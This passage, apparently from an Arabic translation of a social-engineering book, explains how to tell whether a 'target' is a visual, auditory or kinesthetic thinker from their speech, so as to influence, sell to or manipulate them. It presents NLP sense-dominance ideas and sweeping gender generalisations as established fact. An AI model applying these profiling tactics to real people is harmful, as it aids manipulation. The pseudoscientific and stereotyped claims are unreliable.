‫ﻟﻌدة ﻗرون ﺗﺟﺎدل اﻟﻔﻼﺳﻔﺔ ﻓﻲ ﻗﯾﻣﺔ اﻟﺗﺻور )‪ .(perception‬ﺣﯾث ذھب اﻟﺑﻌض إﻟﻰ ﺣد اﻟﻘول ﺑﺄن اﻟواﻗﻊ ﻟﯾس "ﺣﻘﯾﻘﻲ" وﻟﻛﻧﮫ ﻓﻘط ﻣﺎ ﺑﻧﺗﮫ‬
‫ﺣواﺳﻧﺎ ﻓﻲ ﺗﺻوراﺗﻧﺎ‪ .‬ﺷﺧﺻﯾﺎ‪ ،‬أﻧﺎ ﻻ أواﻓﻖ ﻋﻠﻰ ھذه اﻟﻔﻛرة‪ ،‬وﻟﻛن أﻋﺗﻘد أن ﺗم وﺿﻊ اﻟﻌﺎﻟم ﻓﻲ دﻣﺎﻏﻧﺎ ﺑواﺳطﺔ ﺣواﺳﻧﺎ‪ .‬اﻟﻧﺎس ﺗﻔﺳر ﺗﻠك‬
‫اﻟﺣواس ﻟﺗﺻورھم ﻟﻠواﻗﻊ‪ .‬ﻓﻲ اﻟﺗﺻﻧﯾف اﻟﺗﻘﻠﯾدي ﻟدﯾﻧﺎ اﻟﺣواس اﻟﺧﻣس‪ :‬اﻟﺑﺻر‪ ،‬اﻟﺳﻣﻊ‪ ،‬اﻟﻠﻣس‪ ،‬اﻟﺷم‪ ،‬واﻟﺗذوق‪ .‬ﯾﻌزى ھذا اﻟﺗﺻﻧﯾف إﻟﻰ‬
‫أرﺳطو‪ .‬وﻣﻊ ﻣرور اﻟوﻗت‪ ،‬ﺗم إﺿﺎﻓﺔ ﺧﻣس ﺣواس إﺿﺎﻓﯾﺔ‪) Equilibrioception :‬اﻟﺗوازن(‪) Nociception ،‬اﻹﺣﺳﺎس ﺑﺎﻷﻟم(‪،‬‬
‫‪) Kinesthesia & Proprioception‬ﺣﺎﺳﺔ إدراك اﻟﺣرﻛﺔ واﻟﺣس اﻟﻌﻣﯾﻖ(‪) Sense of Time ،‬اﻹﺣﺳﺎس ﺑﺎﻟوﻗت(‪Thermoception ،‬‬
‫)اﻻﺧﺗﻼف ﻓﻲ درﺟﺎت اﻟﺣرارة(‪ .‬ﺗﺧﯾل أﻧك ﺗﻠﻣس أﻧﺑوب ﺣﺎر ﺑﯾﻧﻣﺎ ﻛﻧت واﻗﻔﺎ ﻋﻠﻰ ﺳﻠم‪ .‬اﻷﻟم اﻟﻧﺎﺗﺞ ﻣن ﻓروق درﺟﺔ اﻟﺣرارة ﺑﯾن ﯾدك‬
‫واﻷﻧﺎﺑﯾب اﻟﺳﺎﺧﻧﺔ ﯾﺟﻌﻠك ﺗﺳﻘط ﺳﻠم )اﻟﺗوازن ﺛم إدراك اﻟﺣرﻛﺔ‪/‬ﺣﻛرة اﻟﻣﻔﺎﺻل( ﺛم ﯾﺑدا اﻟوﻗت ﺑﺎﻟﺗﺳﺎرع أو اﻹﺑطﺎء ﻗﺑل أن ﺗﺻل إﻟﻰ‬
‫اﻷرض‪ .‬ﻓﻲ ﺣﯾن ﯾرﻛز ﻣﻌظم اﻟﻣﺑﺗدﺋﯾن ﻋﻠﻰ اﻟﺣواس اﻟﻣﮭﯾﻣﻧﺔ‪ ،‬ﻓواﺋد إﺿﺎﻓﯾﺔ ﯾﻣﻛن اﻟﺣﺻول ﻋﻠﯾﮭﺎ ﺑﻣﻼﺣظﺔ واﺳﺗﺧدام اﻟﺣواس اﻟﺧﻣس‬
‫اﻹﺿﺎﻓﯾﺔ‪.‬‬
‫ﺟﻣﯾﻊ اﻟﺣواس اﻟﺗﻲ ذﻛرﻧﮭﺎ ﺳﺎﺑﻘﺎ ﯾوﺟد ﻣﻧﮭﺎ ﺛﻼﺛﺔ ﻓﻘط واﻟﺗﻲ ﻧﻣﯾل اﻟﻰ اﺳﺗﺧداﻣﮭﺎ ﻓﻲ ﻣﻧطوق ﻛﻼﻣﻧﺎ‪ :‬اﻟﺑﺻر‪ ،‬اﻟﺳﻣﻊ وﺣﺎﺳﺔ إدراك اﻟﺣرﻛﺔ‪.‬‬
‫ﻧراھﺎ‪ ،‬ﻧﺳﻣﻌﮭﺎ أو ﯾﻣﻛﻧﻧﺎ ﻟﻣﺳﮭﺎ‪ .‬اﻟﻧﺎس ﯾﻣﯾﻠون إﻟﻰ ﺗﻔﺿﯾل أﺣد ھذه اﻟﺣواس وﺗﻠك اﻟواﺣدة ھﻲ اﻟﻣﮭﯾﻣﻧﺔ‪ .‬وﻗد ﻟوﺣظت اﺧﺗﻼﻓﺎت ﺑﯾن اﻟﺟﻧﺳﯾن‪.‬‬
‫ﺑل ھو أﯾﺿﺎ طرﯾﻘﺔ اﻟﻧﺎس اﻟﻰ ﯾﻣﯾﻠون إﻟﻰ اﺳﺗﺧداﻣﮭﺎ ﻟﺗذﻛر اﻷﺷﯾﺎء‪ .‬اﺧﺗﺑﺎر واﺣدة ﻟﺗﺣدﯾد اﻟﺣﺎﺳﺔ اﻟﻣﮭﯾﻣﻧﺔ‪ ،‬أﻏﻠﻖ ﻋﯾﻧﯾك وﺗﺻور ﻧﻔﺳك‬
‫ﺗﺳﺗﯾﻘظ ﻣن اﻟﻧوم ھذا اﻟﺻﺑﺎح ﻣﺎ ھو أول ﺷﻲء ﺗﺗذﻛره؟‬
‫ﻣﺛﻼ اﻟﺷﻌور ﺑﺎﻟﺷﻣس داﻓﺋﺔ ﻋﻠﻰ وﺟﮭك؟ أو رﺑﻣﺎ ﻛﻧت ﺗﺗذﻛر ﺻوت زوﺟﺗك أو اﻷطﻔﺎل ﯾﻧﺎدوا ﻋﻠﯾك؟ ھل ﺗذﻛر ﺑوﺿوح راﺋﺣﺔ اﻟﻘﮭوة ﻓﻲ‬
‫اﻟطﺎﺑﻖ اﻟﺳﻔﻠﻲ؟ أو رﺑﻣﺎ ﺗﻣﺎﻣﺎ اﻟطﻌم اﻟﺳﯾﺊ ﻓﻲ ﻓﻣك‪ ،‬واﻟذي ﯾذﻛرك إﻧك ﺗﺣﺗﺎج إﻟﻰ ﻓرﺷﺎة أﺳﻧﺎﻧك؟‬
‫اﻟﺣواس اﻟﻣﺧﺗﻠﻔﺔ ﻓﻌﻠﯾﺎ ﯾﻣﻛن ﺳﻣﺎﻋﮭﺎ ﻣن ﺧﻼل ﻣﺣﺎدﺛﺎت اﻟﻧﺎس‪ .‬ﻋﻧد اﻻﺳﺗﻣﺎع إﻟﻰ اﻟﻧﺎس ﯾﻣﻛﻧك ﺑﺳﮭوﻟﺔ ﻣﻌرﻓﺔ ﺷﻌورھم اﻟﻣﮭﯾﻣن‪ .‬ﻋﺎدة‪،‬‬
‫اﻟرؤﯾﺔ )‪ ،(visual‬واﻟﺳﻣﻊ )‪ (auditory‬واﻟﻠﻣس )‪ (Kinesthetic‬ھﻲ اﻟﺣواس اﻟﺗﻲ ھﻲ أﻗوى وﺗظﮭر أﻛﺛر ﻓﻲ اﻟﻣﺣﺎدﺛﺔ‪" .‬ھل ﺗرى ﻣﺎ‬
‫أﻗوﻟﮫ؟"‪" ،‬ﯾﻣﻛﻧك ﺳﻣﺎع ﻣﺎ أﻗوﻟﮫ؟"‪ ،‬أو "ﯾﻣﻛﻧك أن ﺗﺷﻌر ﺑﻛﻠﻣﺎﺗﻲ؟" ﻣﻌظم اﻟﻧﺎس ﺗﻣﯾل إﻟﻰ أن ﺗﻛون ﻣﺗﻌددة اﻟﺣواس وﻟﻛن ﻓﻲ اﻟﻐﺎﻟب ﯾﻛون‬
‫واﺣد‪ .‬اﻷﺑﺣﺎث ﺗﺟري ﺣﺎﻟﯾﺎ ﺑﺷﺄن ﻣﺗﻰ ﻧﺑﻘﻰ ﻓﻲ ﻛل ﻧﻣط ﺳﺎﺋد‪.‬‬
‫ﺑﺎﻟطﺑﻊ‪ ،‬ھذا اﻟﻌﻠم ھو ﻟﯾس ﺑﺎﻟﺿﺑط ﻣﺎ ﯾﺟﻌﻠك ﺗدرك ﻣﺎ ھو اﻟﺣﺎﺳﺔ اﻟﻣﮭﯾﻣﻧﺔ‪/‬اﻟﺳﺎﺋدة وﻟﻛن ﻗد ﯾﺳﺗﻐرق ﺑﺿﻌﺔ ﻣﺣﺎوﻻت ﻟﻣﻌرﻓﺗﮫ‪ .‬ذات ﻣره‬
‫ﺗﺣدﺛت ﻟزوﺟﯾن ﺣول ھذا اﻟﻣﻔﮭوم وﻛﺎن ﻣﺛﯾر ﻟﻼھﺗﻣﺎم ﻣﺷﺎھدة ﺗﻌﺑﯾرھﻣﺎ‪ .‬ﺗذﻛرت اﻟزوﺟﺔ اﻷوﻟﻰ اﻻﺳﺗﯾﻘﺎظ ورؤﯾﺔ اﻟﺳﺎﻋﺔ وﻣن ﺛم اﻟﺷﻌور‬
‫ﺑﺎﻟﻘﻠﻖ وذﻟك ﻷﻧﮭﺎ ﻣﺗﺄﺧرة ﻋن اﻟﻌﻣل‪ ،‬ﻓﻲ ﺣﯾن أن اﻟزوج ﺗذﻛر أوﻻ اﻟﺗدﺣرج وﻋدم ﺷﻌور زوﺟﺗﮫ ﺑﺟﺎﻧﺑﮫ‪ .‬ﺑﻌد ﺑﻌض اﻷﺳﺋﻠﺔ أﺻﺑﺢ واﺿﺣﺎ أن‬
‫اﻟزوج ﻛﺎن ﺣرﻛﻲ‪ ،‬أو ﻛﺎن إﺣﺳﺎﺳﮫ اﻟﻣﮭﯾﻣن ﻣﺷﺎﻋره‪ ،‬ﻓﻲ ﺣﯾن ﻛﺎﻧت زوﺟﺗﮫ اﻟﺑﺻرﯾﺔ ﺟدا‪.‬‬
‫ﺑﺎﻟطﺑﻊ‪ ،‬اﻟذھﺎب اﻟﻰ اﻟﮭدف وﻣن ﺛم ﺗﻘول ﻟﮫ‪" :‬أﻏﻣض ﻋﯾﻧﯾك وﻗول ﻟﻲ أول ﺷﻲء ﯾﺟب أن ﺗﺗذﻛره ھذا اﻟﺻﺑﺎح‪ "،‬ﻻ ﯾﺑدو ﻣﻌﻘوﻻ‪ .‬إذا ﻛﯾف‬
‫ﯾﻣﻛﻧك ﺗﺣدﯾد اﻟﺣﺎﺳﺔ اﻟﻣﮭﯾﻣﻧﺔ ﻋﻧد اﻟﮭدف دون اﻟﻣرور ﻋﺑر اﺳﺗﺟواب ﻣﺣرج ﺣول طﻘوس اﻟﺻﺑﺎح‪.‬‬
‫ﻟذا ھﻧﺎ طرﯾﻘﺔ واﺣدة ﯾﻣﻛﻧﻧﺎ ﻣﻣﺎرﺳﺗﮭﺎ ﻟﺗﻌﻠم ﻛﯾﻔﯾﺔ اﻟﺗﻘﺎط اﻟﺷﻌور اﻟﻣﮭﯾﻣن ﻟﺷﺧص ﻣﺎ‪ .‬اﻻﺳﺗﻣﺎع إﻟﻰ ﻣﺣﺎدﺛﺔ‪ .‬ھذا ﻛل ﺷﻲء‪ ،‬ﻣﺟرد اﻻﺳﺗﻣﺎع‪.‬‬
‫ﺗﺣدﯾد ﻣﺎ اﻟﺷﻌور اﻟﻣﮭﯾﻣن ﻓﻲ اﻟﻣﺣﺎدﺛﺔ‪ .‬ﻛم ﻣن اﻟوﻗت اﺳﺗﻣر اﻟﺷﻌور اﻟﻣﮭﯾﻣن؟ ھل ﻣﻛﺑرات اﻟﺻوت ﻟدﯾﮭﺎ ﺣواس ﻣﺗﻌددة ﻓﻲ ﺣدﯾﺛﮭﻣﺎ؟ ھذا‬
‫اﻟﺗﻣرﯾن ﯾﺳﺎﻋدك ﻋﻠﻰ ﺗطوﯾر ﻣﮭﺎرات اﻟﺗﻘﯾﯾم اﻟﻣوﺿوﻋﯾﺔ اﻟﻼزﻣﺔ ﻟﺗﻛون ﻣﻣﺎرس اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪.‬‬
‫اﻟﺒﺼﺮي )‪(Visual‬‬
‫ﻏﺎﻟﺑﯾﺔ اﻟرﺟﺎل ھم ﻋﺎدة ﻣﻔﻛرﯾن ﺑﺻرﯾن‪ ،‬وذﻟك ﻷﻧﮭم ﻋﺎدة ﻣﺎ ﯾﺗذﻛروا ﻣﺎ اﻟذي ﯾﺑدو ﻋﻠﯾﮫ اﻟﺷﻲء‪ .‬ﯾﺗذﻛرون اﻟﻣﺷﮭد ﺑوﺿوح اﻷﻟوان واﻟﻘوام‪،‬‬
‫اﻟﺳطوع أو اﻟظﻼم‪ .‬ﯾﻣﻛن أن ﯾﺻور ﺑوﺿوح أﺣداث ﺳﺎﺑﻘﺔ‪ ،‬وﺣﺗﻰ ﺑﻧﺎء ﺻورة ﻟﺣدث ﻓﻲ اﻟﻣﺳﺗﻘﺑل‪ .‬أﻣﺎ اﻟﻧﺳﺎء ﯾﻣﯾﻠون ﻣﺗوازﻧﯾن او ﺳﻣﻌﻲ‬
‫اﻟﺗﻔﻛﯾر‪ .‬ھذا ﯾظﮭر ﻓﻲ ﻛﯾﻔﯾﺔ ﻣﺷﺎھدة اﻟﺗﻠﻔزﯾون‪ .‬اﻟرﺟﺎل ﻋﺎدة ﻣﺎ ﯾذھب ﻣن ﻗﻧﺎة إﻟﻰ ﻗﻧﺎة‪ ،‬وﯾﺑﺣث ﻋن ﻣدﺧﻼت ﺑﺻرﯾﺔ ﻣﺛﯾرة ﻟﻼھﺗﻣﺎم ﻓﻲ ﺣﯾن‬
‫أن اﻟﻣرأة ﺗﺑﻘﻰ ﻓﻲ اﻟواﻗﻊ ﻋﻠﻰ ﺑرﻧﺎﻣﺞ واﺣد ﻟﺑﺿﻊ دﻗﺎﺋﻖ وﺗﺳﺗﻣﻊ إﻟﻰ اﻟﺣوار‪ .‬اﻟﻣﻔﻛر اﻟﺑﺻري ﻋﻧدﻣﺎ ﯾﺗم ﻋرﺿﮫ ﻋﻠﻰ ﻣﺎدة ﻣﺎ‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪823‬‬

‫ﻟﻠﺑت ﻓﯾﮭﺎ ﻓﺄﻧﮫ ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺣﺗﺎج ﻟرؤﯾﺔ ﺷﻲء ﻣﺎ ﺑﺳﺑب ان اﻟﻣدﺧﻼت اﻟﺑﺻرﯾﺔ ﺗرﺗﺑط ﻣﺑﺎﺷرة إﻟﻰ ﺻﻧﻊ اﻟﻘرار‪ .‬ﻣرات ﻋدﯾدة اﻟﻣﻔﻛر اﻟﺑﺻري‬
‫ﯾﺗﺧذ ﻗراره اﺳﺗﻧﺎدا إﻟﻰ ﻣﺎ ھو ﺟذاب ﺑﺻرﯾﺎ ﻟﮫ ﺑﻐض اﻟﻧظر ﻋﻣﺎ ھو ﺣﻘﺎ "أﻓﺿل" ﺑﺎﻟﻧﺳﺑﺔ ﻟﮫ‪.‬‬
‫اﻟﺗﺳوﯾﻖ اﻟﺑﺻري أو اﻟﺟواﻧب اﻟﺑﺻرﯾﺔ ﻋﺎدة ﻣﺎ ﺗﺣدد ﻟﻠﻣﻔﻛر اﻟﺑﺻري آراﺋﮫ‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم اﻟﻣﻔﻛر اﻟﺑﺻري ﺑﻌض اﻟﻛﻠﻣﺎت ﻓﻲ ﺧطﺎﺑﮫ‪،‬‬
‫ﻣﺛل‪:‬‬
‫‪" -‬أرى ﻣﺎ ﺗﻌﻧﯾﮫ"‪.‬‬
‫‪" -‬ھذا ﯾﺑدو ﺟﯾدا ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ"‪.‬‬
‫‪" -‬اﻟﺻورة وﺿﺣت ﻟﻲ اﻻن "‪.‬‬
‫اﻟﻧطﺎق اﻟذي ﯾﻌﻣل ﻓﯾﮫ اﻟﺷﻌور اﻟﺳﺎﺋد ﻓﻲ اﻟﻣﻔﻛر اﻟﺑﺻري ﯾﻣﻛن أن ﯾﻛون ﻟﮭﺎ ﺧﺻﺎﺋص ﻣﻌﯾﻧﺔ‪ ،‬أو طرق ﻓرﻋﯾﺔ‪ ،‬ﻣﺛل‪:‬‬
‫‪ -‬اﻟﺿوء )ﻣﺷرق أو ﺧﺎﻓت(‬
‫‪ -‬اﻟﺣﺟم )ﻛﺑﯾر أو ﺻﻐﯾر(‬
‫‪ -‬اﻟﻠون )أﺑﯾض وأﺳود أو ﻟون(‬
‫‪ -‬اﻟﺣرﻛﺔ )ﺳرﯾﻊ أو ﺑطﻲء(‬
‫‪ -‬اﻟﺗرﻛﯾز )واﺿﺢ أو ﺿﺑﺎﺑﻲ(‬
‫‪ -‬اﻟﻣوﻗﻊ‬
‫ﻣﺣﺎوﻟﺔ اﻟﻣﻧﺎﻗﺷﺔ‪ ،‬اﻟﺑﯾﻊ‪ ،‬اﻟﺗﻔﺎوض‪ ،‬اﻟﺗﻌﺎﻣل‪/‬اﻟﺗﻼﻋب‪ ،‬أو اﻟﺗﺄﺛﯾر ﻋﻠﻰ اﻟﻣﻔﻛر اﻟﺑﺻري ﺑدون اﻟﻣدﺧﻼت اﻟﺑﺻرﯾﺔ ﻣن اﻟﺻﻌب ﺟدا إن ﻟم ﯾﻛن‬
‫ﻣﺳﺗﺣﯾﻼ‪ .‬اﻟﻣﻔﻛرﯾن اﻟﺑﺻرﯾﺔ ﯾﺣﺗﺎﺟون اﻟﻣدﺧﻼت اﻟﺑﺻرﯾﺔ ﻻﺗﺧﺎذ اﻟﻘرارات‪.‬‬
‫اﻟﺴﻤﻌﻲ )‪(Auditory‬‬
‫اﻟﻣﻔﻛر اﻟﺳﻣﻌﻲ ﯾﺗذﻛر أﺻوات اﻻﺣداث‪ .‬ﺣﯾث ﯾﺗذﻛر ﺻوت اﻹﻧذار اﻧﮫ ﻛﺎن ﻋﺎل ﺟدا أو ھﻣس اﻣرأة ﻛﺎن ﻣﻧﺧﻔض ﺟدا‪ .‬ﺻوت اﻟطﻔل ﺟﻣﯾل‬
‫أو ﻧﺑﺎح اﻟﻛﻠب ﻣﺧﯾف‪ .‬اﻟﻣﻔﻛر اﻟﺳﻣﻌﻲ ﯾﺗﻌﻠم أﻓﺿل ﻣﻣﺎ ﯾﺳﻣﻌوﻧﮫ وﯾﻣﻛﻧﮫ اﻻﺣﺗﻔﺎظ ﺑﮭﺎ أﻛﺛر ﺑﻛﺛﯾر ﻣن ﻛوﻧﮭﺎ أﺷﯾﺎء ﺗﻘﺎل ﻣن أﺷﯾﺎء ﺗرى‪.‬‬
‫وﻻن اﻟﻣﻔﻛر اﻟﺳﻣﻌﻲ ﯾﺗذﻛر اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﺑدو ﻓﯾﮭﺎ اﻻﺷﯾﺎء‪ ،‬أو ﻷن اﻷﺻوات أﻧﻔﺳﮭم ﺗﺳﺎﻋد ﻋﻠﻰ ﺗذﻛر اﻟذﻛرﯾﺎت‪ .‬ﻣﻌظم اﻟﻧﺳﺎء ﯾﻣﯾﻠون اﻟﻰ أن‬
‫ﯾﻛوﻧوا ﻣﻔﻛرﯾن ﺳﻣﻌﯾن‪ ،‬اﻟﻣﻔﻛر اﻟﺳﻣﻌﻲ ﻗد ﯾﺳﺗﺧدم ﻋﺑﺎرات ﻣﺛل‪:‬‬
‫‪" -‬اﻟﺻوت ﻋﺎل وواﺿﺢ"‬
‫‪" -‬ﺷﻲء ﻣﺎ ﯾﻘول ﻟﻲ"‬
‫‪" -‬ھذا اﻟﺻوت ﻣﻧﺎﺳب ﻟﻲ"‬
‫اﻟﻧطﺎق اﻟذي ﯾﻌﻣل ﻓﯾﮫ اﻟﺷﻌور اﻟﺳﺎﺋد ﻓﻲ اﻟﻣﻔﻛر اﻟﺳﻣﻌﻲ ﯾﻣﻛن أن ﯾﻛون ﺿﻣن ھذه اﻟطراﺋﻖ اﻟﻔرﻋﯾﺔ‪:‬‬
‫‪ -‬ﺣﺟم اﻟﺻوت )ﺑﺻوت ﻋﺎل أو ﻟﯾن(‬
‫‪ -‬ﻧﺑرة اﻟﺻوت )‪ base‬أو ‪(treble‬‬
‫‪) Pitch -‬ﻣرﺗﻔﻌﺔ أو ﻣﻧﺧﻔﺿﺔ(‬
‫‪) Tempo -‬ﺳرﯾﻌﺔ أو ﺑطﯾﺋﺔ(‬
‫‪ -‬اﻟﻣﺳﺎﻓﺔ )ﻗرﯾب أو ﺑﻌﯾد(‬
‫ﻣن اﻟﺿروري أن ﺗﺧﺗﺎر ﻛﻠﻣﺎﺗك ﺑﻌﻧﺎﯾﺔ ﻣﻊ اﻟﻣﻔﻛرﯾن اﻟﺳﻣﻌﯾن‪ .‬ﻓﺈن اﻟﻛﻠﻣﺎت اﻟﺗﻲ ﯾﺳﻣﻌوﻧﮭﺎ ﺑﺎﻟﻧﺳﺑﺔ ﻟﮭم ﺻﻔﻘﺔ ﺣﯾﺎة أو ﻣوت‪ .‬ﻟﻘد رأﯾت اﻟﻠﻘﺎءات‬
‫ﻛﻠﮭﺎ ﺗذھب اﻟﻰ ﻛﺎرﺛﺔ ﻛﺑﯾرة ﻣﻊ ﻛﻠﻣﺔ ﺧﺎطﺋﺔ واﺣدة ﺗﺣدث ﻣﻊ اﻟﻣﻔﻛر اﻟﺳﻣﻌﻲ‪.‬‬
‫اﻟﺤﺮﻛﻲ )‪(Kinesthetic‬‬
‫اﻟﻣﻔﻛر اﻟﺣرﻛﻲ ﯾﻛون ﻣﮭﺗم ﺑﺎﻟﻣﺷﺎﻋر‪ ،‬ﯾﺗﺻل ﻋن طرﯾﻖ اﻟﻠﻣس‪ .‬ﻓﮭم ﯾﺗذﻛرون ﻛﯾف أن ﺣدﺛﺎ ﻣﻌﯾﻧﺎ ﺟﻌﻠﮭم ﯾﺷﻌرون ﺑﺎﻟدفء‪ ،‬ﻧﺳﯾم ﺟﻣﯾل ﻋﻠﻰ‬
‫اﻟﺟﻠد‪ ،‬ﻛﯾف ﺟﻌﻠﮭم اﻟﻔﯾﻠم ﯾﻘﻔزون ﻣن ﻣﻘﺎﻋدھم ﻣن اﻟﺧوف‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺷﻌر اﻟﻣﻔﻛرﯾن اﻟﺣرﻛﯾن ﺑﺎﻷﻣور ﺑﺎﺳﺗﺧدام أﯾدﯾﮭم ﻟﻠﺣﺻول ﻋﻠﻰ ﺷﻌور‬
‫ھذه اﻻﺷﯾﺎء‪ .‬ﻣﺟرد ﻗول ﺷﯾﺋﺎ ﻟﮭم ﺑﺎن ھذا اﻟﺷﻲ ﻧﺎﻋم ﻓﺈﻧﮭﺎ ﻟﯾﺳت ﺣﻘﯾﻘﯾﺔ ﺑﺎﻟﻧﺳﺑﺔ ﻟﮭم ﻋﻠﻰ ﻋﻛس إذا ﺳﻣﺣت ﻟﮭم ﺑﻠﻣﺳﮭﺎ‪ .‬ﻟﻛن ﻣﺳﺎﻋدة ذﻛر ان‬
‫ھذا اﻟﻌﻧﺻر اﻟذي ﻗﺎم ﺑﻠﺳﻣﮫ ﻣن ﻗﺑل ﺑﺎﻧﮫ ﻧﺎﻋم ﯾﻣﻛﻧﮫ اﺳﺗدﻋﺎء اﻟﻌواطف واﻟﻣﺷﺎﻋر اﻟﺗﻲ ھﻲ ﺣﻘﯾﻘﯾﺔ ﺟدا ﻟﻠﻣﻔﻛر ﺣرﻛﻲ‪.‬‬
‫اﻟﻣﺻطﻠﺢ "ﺣرﻛﻲ" ﯾﺗﻌﻠﻖ ﺑﺎﻟﻠﻣس‪ ،visceral ،‬اﻟﺷﻌور اﻟذاﺗﻲ ﻣن اﻷﺣﺎﺳﯾس ﻣن اﻟﺟﺳم‪ ،‬واﻟوﻋﻲ اﻟذاﺗﻲ ﻟﻛﯾﻔﯾﺔ ﺟﻌل اﻟﺷﻲء ﯾﺷﻌره‪ .‬ﯾﺳﺗﺧدم‬
‫اﻟﻣﻔﻛر اﻟﺣرﻛﻲ ﻋﺑﺎرات ﻣﺛل‪:‬‬
‫‪“ -‬ﯾﻣﻛﻧﻧﻲ ﻓﮭم ھذه اﻟﻔﻛرة"‪.‬‬
‫‪" -‬ﻛﯾف أﻣﻛن ھذا اﻻﺳﺗﯾﻼء ﻋﻠﯾك ؟"‬
‫‪" -‬ﺳوف أﻛون ﻋﻠﻰ اﺗﺻﺎل ﻣﻌك"‪.‬‬
‫‪" -‬أردت ﻓﻘط أن اﻟﻣس ﻗﺎﻋدة"‪.‬‬
‫‪" -‬ﻛﯾف ﯾﺷﻌر ھذا؟"‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪824‬‬

‫واﻟﻧطﺎﻗﺎت اﻟﺗﻲ ﯾﻌﻣل ﻓﯾﮭﺎ ھذا اﻟﻧوع ﯾﻣﻛن أن ﯾﻛون ﺿﻣن اﻟطراﺋﻖ اﻟﻔرﻋﯾﺔ اﻟﺗﺎﻟﯾﺔ‪:‬‬
‫‪ -‬اﻟﺷدة )ﻗوﯾﺔ أو ﺿﻌﯾﻔﺔ(‬
‫‪ -‬اﻟﻣﺳﺎﺣﺔ )ﻛﺑﯾرة أو ﺻﻐﯾرة(‬
‫‪ -‬اﻟﻣﻠﻣس )ﺧﺷن أو ﻧﺎﻋﻣﺔ(‬
‫‪ -‬درﺟﺔ اﻟﺣرارة )ﺳﺎﺧﻧﺔ أو ﺑﺎردة(‬
‫‪ -‬اﻟوزن )اﻟﺛﻘﯾﻠﺔ أو اﻟﺧﻔﯾﻔﺔ(‬
‫ﻣﺳﺎﻋدة اﻟﻣﻔﻛر اﻟﺣرﻛﻲ ﻓﻲ اﺳﺗدﻋﺎء اﻟﺷﻌور أو اﻟﻌﺎطﻔﺔ اﻟﻣرﺗﺑطﺔ ﺑﺷﻲء ﯾﻣﻛن أن ﺗﺟﻌل ﺗﻠك اﻟﻣﺷﺎﻋر اﻟﺣﻘﯾﻘﯾﺔ ﺗظﮭر ﻛﻣﺎ ﻓﻲ اﻟﻣرة اﻷوﻟﻰ‬
‫اﻟﺗﻲ وﻗﻌت‪ .‬اﻟﻣﻔﻛرﯾن اﻟﺣرﻛﯾن ھم ﻋﻠﻰ اﻻرﺟﺢ اﻻﻛﺛر ﺻﻌوﺑﺔ ﻣن اﻟﻣﻔﻛرﯾن اﻟﻐﯾر ﺣرﻛﯾن ﻓﻲ اﻟﺗﻌﺎﻣل ﻣﻌﮭم ﻷﻧﮭم ﻻ ﯾﺗﻔﺎﻋﻠوا ﻣﻊ اﻟﻣﺷﺎھد‬
‫واﻷﺻوات واﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺟب ﻋﻠﯾﮫ اﻟﺣﺻول ﻋﻠﻰ اﺗﺻﺎل ﻣﻊ ﻣﺷﺎﻋرھم ﻟﻛﻲ ﯾﺗواﺻل ﻣﻊ ھذا اﻟﻧوع ﻣن اﻟﻣﻔﻛرﯾن‪ .‬ﻓﮭم ھذه اﻟﻣﺑﺎدئ‬
‫اﻷﺳﺎﺳﯾﺔ ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو أن ﺗﻛون ﻗﺎدرة ﻋﻠﻰ ﺗﻣﯾﯾز ﺑﺳرﻋﺔ ﻧوع اﻟﺷﺧص اﻟذي ﺗﺗﺣدث إﻟﯾﮫ‪ .‬ﻣرة أﺧرى‪ ،‬ﻣن دون أن ﺗطﻠب ﻣن‬
‫اﻟﮭدف ان ﯾﺻور ﻟك طﻘوس اﻟﺻﺑﺎح‪ ،‬ﻛﯾف ﯾﻣﻛﻧك ﺗﻣﯾﯾز اﻟﺣﺎﺳﺔ اﻟﻣﮭﯾﻣﻧﺔ؟ ﺣﺗﻰ أﻛﺛر ﻣن ذﻟك‪ ،‬ﻟﻣﺎذا ھذا ﻣﮭم ﺟدا؟‬
‫ﺗﻤﯿﺰ اﻟﺤﺎﺳﺔ اﻟﻤﮭﯿﻤﻨﺔ )‪(Discerning the Dominant Sense‬‬
‫اﻟﻣﻔﺗﺎح ﻟﺗﺣدﯾد اﻟﺣﺎﺳﺔ اﻟﻣﮭﯾﻣﻧﺔ ﻟﺷﺧص ﻣﺎ ھﻲ ﻣﺣﺎوﻟﺔ ﻟﺗﻘدﯾم ﻧﻔﺳك‪ ،‬ﻗم ﺑﺑدء ﻣﺣﺎدﺛﺔ ﺻﻐﯾرة‪ ،‬وإﯾﻼء اھﺗﻣﺎم وﺛﯾﻖ ﻋﻠﻰ ﻣﺎ ﯾﻘﺎل‪ .‬ﻋﻧدﻣﺎ ﺗﻣﺷﻰ‬
‫إﻟﻰ اﻟﮭدف وﻣن ﺛم ﺗﻧﺣﻧﻲ ﻟﺗﻘول ﺻﺑﺎح اﻟﺧﯾر‪ ،‬رﺑﻣﺎ أﻧﮫ ﺑﺎﻟﻛﺎد ﯾﻧظر إﻟﯾك‪ .‬ﻗد ﯾﻛون ﺑﺻرﯾﺎ‪ ،‬أو ﻗد ﻻ ﯾﻛون‪ .‬اﻟﻣﻔﻛر اﻟﺑﺻري ﯾﺣﺗﺎج أن ﯾﻧظر‬
‫إﻟﻰ اﻟﺷﺧص اﻟذي ﯾﺗﺣدث ﻟﻛﻲ ﯾﺗواﺻل ﺑﺷﻛل ﺻﺣﯾﺢ‪ ،‬ﻟذﻟك ھذا اﻟﺳﻠوك ﻣن ﺷﺄﻧﮫ أن ﯾﺑدو ﻟﺗﻘدﯾم ﺣﻘﯾﻘﺔ أﻧﮫ ﻟﯾس ﺑﺻري‪ .‬اﻵن ﻧﺳﺄل ﺳؤاﻻ‬
